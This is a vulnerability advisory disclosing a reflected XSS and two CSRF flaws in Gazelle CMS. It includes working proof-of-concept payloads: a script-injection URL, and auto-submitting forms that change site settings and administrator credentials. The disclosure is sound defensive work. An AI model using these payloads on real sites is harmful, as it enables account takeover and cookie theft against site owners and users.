Multiple Vulnerabilities in Gazelle CMS

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in Gazelle CMS which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerability in Gazelle CMS
The vulnerability exists due to input sanitation error in the "lookup" parameter in search.php within the Search module. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/search.php?lookup=%22%3E%3Cscript%3Ealert%28document.cookie%29%3 C%2Fscript%3E

2) Cross-site request forgery in Gazelle CMS
2.1 The vulnerability exists due to insufficient validation of the request origin admin/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change application settings. Existing weakness in the administration interface may also allow arbitrary HTML and script code execution due to insufficient input sanitation in the "sett4" HTTP POST parameter.
Exploitation example:
<form method="post" action="http://host/admin/index.php?Settings" name="main">
<input type="hidden" name="sett1" value="Gazelle CMS Demo" />
<input type="hidden" name="sett2" value="Subtitle" />
<input type="hidden" name="sett3" value="Keywords" />
<input type="hidden" name="sett4" value='Description"><script>alert(document.cookie)</script>' />
<input type="hidden" name="sett5" value="example@example.com" />
<input type="hidden" name="table" value="settings" />
</form>
<script>
document.main.submit();
</script>
2.2 The vulnerability exists due to insufficient validation of the request origin. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change the administrator`s credentials.
Exploitation example:
<form action="http://example.com/admin/index.php?Users/Edit%20User" method="post" name="main">
<input type="hidden" name="number" value="2" />
<input type="hidden" name="name" value='test' />
<input type="hidden" name="pass" value="" />
<input type="hidden" name="controle" value="" />
<input type="hidden" name="email" value="test@test.com" />
<input type="hidden" name="active" value="on" />
<input type="hidden" name="admin[]" value="2" />
<input type="hidden" name="save" value="Edit" />
<input type="hidden" name="table" value="users" />
</form>
<script>
document.main.submit();
</script>
